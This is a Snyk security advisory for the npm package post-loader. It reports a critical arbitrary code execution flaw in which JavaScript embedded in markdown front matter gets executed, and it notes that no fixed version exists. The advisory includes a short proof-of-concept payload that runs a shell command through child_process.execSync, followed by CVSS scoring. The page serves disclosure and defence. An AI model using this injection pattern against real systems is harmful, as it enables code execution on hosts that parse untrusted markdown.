Arbitrary Code Execution Affecting post-loader package, versions >=0.0.0


Severity

Recommended
0.0
critical
0
10

CVSS assessment made by Snyk's Security Team

    Threat Intelligence

    EPSS
    0.37% (73rd percentile)

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  • Snyk ID SNYK-JS-POSTLOADER-2403737
  • published 2 Mar 2022
  • disclosed 16 Feb 2022
  • credit Feng Xiao and Zhongfu Su

How to fix?

There is no fixed version for post-loader.

Overview

Affected versions of this package are vulnerable to Arbitrary Code Execution which uses a markdown parser in an unsafe way so that any javascript code inside the markdown input files gets evaluated and executed.

PoC

const postLoader = require('post-loader')
var payload = '---js\n((require("child_process")).execSync("touch rce"))';
new postLoader(payload);

CVSS Scores

version 3.1
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Snyk

Recommended
9.8 critical
  • Attack Vector (AV)
    Network
  • Attack Complexity (AC)
    Low
  • Privileges Required (PR)
    None
  • User Interaction (UI)
    None
  • Scope (S)
    Unchanged
  • Confidentiality (C)
    High
  • Integrity (I)
    High
  • Availability (A)
    High
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NVD

9.8 critical